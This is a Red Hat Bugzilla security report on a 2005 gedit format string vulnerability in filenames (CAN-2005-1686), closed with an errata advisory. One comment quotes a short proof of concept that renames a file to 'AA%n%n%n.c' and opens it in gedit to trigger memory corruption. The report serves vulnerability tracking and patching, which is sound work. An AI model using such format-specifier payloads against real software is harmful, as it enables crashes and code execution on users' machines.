Bug 159655

Summary: CAN-2005-1686 filename format string vulnerability
Product: Red Hat Enterprise Linux 4 Reporter: Josh Bressers <bressers>
Component: geditAssignee: Ray Strode [halfline] <rstrode>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: 4.0Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: All   
OS: Linux   
URL: http://www.securityfocus.com/bid/13699/info
Whiteboard: public=20050520,impact=moderate,source=gentoo,reported=20050520
Fixed In Version: RHSA-2005-499 Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2005-06-13 12:28:08 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Josh Bressers 2005-06-06 16:49:39 UTC
gEdit is prone to a format string vulnerability. Exploitation may occur when the
program is invoked with a filename that includes malicious format specifiers.
This issue could be exploited to corrupt arbitrary regions of memory with
attacker-supplied data, potentially resulting in execution of arbitrary code in
the context of the user running the program.

Comment 1 Josh Bressers 2005-06-06 16:51:11 UTC
This issue should also affect RHEL3 and RHEL2.1

Comment 2 Josh Bressers 2005-06-06 16:52:34 UTC
The following example is available (taken from securityfocus.com)

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c

Comment 3 Josh Bressers 2005-06-06 19:52:07 UTC
This issue does not affect RHEL2.1

Comment 4 Josh Bressers 2005-06-13 12:28:08 UTC
An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2005-499.html